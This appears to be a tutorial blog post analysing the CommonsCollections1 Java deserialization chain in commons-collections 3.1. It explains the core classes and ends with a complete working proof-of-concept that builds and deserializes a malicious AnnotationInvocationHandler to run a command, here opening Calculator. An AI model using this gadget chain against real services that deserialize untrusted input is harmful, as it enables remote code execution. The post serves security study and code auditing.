← Back to all posts
Code Auditing7 min read

Java Code Auditing: A Detailed Analysis of the CommonsCollections1 Deserialization Chain

This article explains the principles behind the CommonsCollections1 Java deserialization RCE chain, its core classes, chain construction, trigger mechanism, and final proof of concept.

Read in Chinese→

0x01 Vulnerability Introduction

Apache Commons Collections is a third-party foundational class library that provides many powerful data structure types and implements various collection utility classes. It can be considered an important component of Apache open-source projects.

Commons Collections has been part of the Java deserialization landscape for five years.

Today, we will introduce CommonsCollections1, the first RCE deserialization chain.

The CommonsCollections1 deserialization vulnerability still exists in commons-collections version 3.1.

0x02 Lab Environment

  • Import the dependency through Maven’s POM
<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
 </dependencies>
  • Java version used in this lab. The trigger class was modified in versions later than Java 8u71, so this chain cannot be exploited on those versions.

  • MACBOOK

  • IDEA 2020

Code used in this lab:

https://github.com/godzeo/javasec\_code\_study/tree/master/src/main/java/CommonCollections

0x03 Chain Construction—Fundamentals

After reading this section, you will probably conclude that you need to understand the following interfaces and classes.

First, we need to start with the Transformer class.

Transformer

Transformer is simply an interface with only one method to be implemented. In my view, it serves as the general interface.

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

TransformedMap

My understanding of TransformedMap in the exploitation chain is that it acts as a trigger, primarily invoking the implementation class’s Transformer() method later in the chain.

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
  • It decorates the basic Map data type. When a new element is added to the decorated Map, a function can be executed.
  • This function is provided by a class that implements the Transformer interface, and this class serves as the entry point leading to the next link in the chain.
  • The first parameter is the Map to be decorated and bound. The third parameter, valueTransformer, is the class implementing the Transformer interface that will be executed.

ChainedTransformer

  • ChainedTransformer is a class that implements the Transformer interface.

  • It can carry out the next operation.

  • Its primary purpose is to:

  • Chain multiple internal Transformers together.

  • In other words, the result returned by the previous callback is passed in as the parameter to the next callback.

image-20200825164221874

The code is as follows:

public class ChainedTransformer implements Transformer, Serializable {
 			.......
}
......
  
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }


public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
}

ConstantTransformer

  • ConstantTransformer is a class that implements the Transformer interface.

    • Put simply, it returns whatever class you provide to it.
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

InvokerTransformer

  • This class is the key to code execution.
  • Its implementation primarily uses reflection.
  • Put simply, this class can use reflection to instantiate other classes and invoke their methods—arbitrary methods, meaning command execution.
  • As long as the parameters are controllable, arbitrary command execution is possible.

Looking at the code, it is essentially reflection code encapsulated within the transform method.

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }

0x04 A Simple Demo

The following demo was written by P Niu.

It simply uses the concepts described above to construct a basic chain that achieves command execution.

package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"open -a Calculator"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("zeo", "666");
    }
}

Analysis:

  1. Instantiate a new Transformer array to construct the small intermediate chain.
  2. This small chain mainly contains ConstantTransformer and InvokerTransformer. After constructing them, place them into the ChainedTransformer class mentioned earlier so that they are linked together, roughly as shown below.image-20200825165856011
  3. The command-execution chain is now ready, but a method is still needed to trigger ChainedTransformer: the TransformedMap.decorate method.
  4. Instantiate a Map object, decorate it, and bind it to the transformerChain above. Whenever a new element is added to the Map, the chain above will be triggered.
  5. Therefore, calling map.put(“test”, “xxxx”) triggers command execution and successfully opens the calculator.

image-20200825170538165

0x05 Rewriting the POC

  • Although the vulnerability above was triggered, it was triggered manually and is therefore not very useful.

  • For a deserialization vulnerability, don’t you need to find a deserialization point that triggers it?

  • Therefore, the objective is to find a class whose readObject deserialization logic contains a similar write operation.

  • That class is:

    sun.reflect.annotation.AnnotationInvocationHandler 
    • The deserialization implementation method
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}
  • The primary trigger point is memberValue.setValue(), which can assign a value to the Map object.
  • The memberValue field is a Map object.
  • Therefore, the final process is:

Wrap the previously constructed transform chain in a Map object.

Use it as memberValue after AnnotationInvocationHandler is deserialized.

During readObject deserialization, trigger memberValue.setValue().

This then triggers transform() in TransformedMap.

Finally, command execution is achieved.

The Transformer Exploit Must Also Be Rewritten

Transformer[] transformers = new Transformer[]{

                //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
                //利用反射构造命令执行
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"open -a Calculator"}),
        };

The rewrite replaces Runtime.getRuntime() with Runtime.class.

The reason is that java.lang.Runtime objects cannot be deserialized.

Method Class Serializable?
Runtime.getRuntime() java.lang.Runtime no
Runtime.class java.lang.Class yes

Key point: Not all objects in Java support serialization. Java classes must implement the java.io.Serializable interface before they can be serialized, so we need to use a different object when rewriting the POC.

0x06 Final POC

package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1poc {
    public static void main(String[] args) throws Exception {

        //构造Transformer的小链式
        Transformer[] transformers = new Transformer[]{

                //利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
                //利用反射构造命令执行
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"open -a Calculator"}),
        };
        // 将transformers链式的串起来在transformerChain内部
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "zeo");

        //绑定map到修饰器
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //反射获取AnnotationInvocationHandler,将内部的方法实例化他
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //序列化操作,讲上述构造的handler恶意的对象,序列化保存
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        //没实际作用,就是打印看一下反序列化的数据
        System.out.println(barr);

        //触发反序列化操作,触发漏洞
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

Successful execution:

image-20200827143035470

0x07 Summary

​ This was quite meaningful. I gained an understanding of the underlying principles, although I still have not fully grasped how some of the classes work and need to study them more carefully.

​ A solid foundation in reflection is still very important, and I need to learn more about it.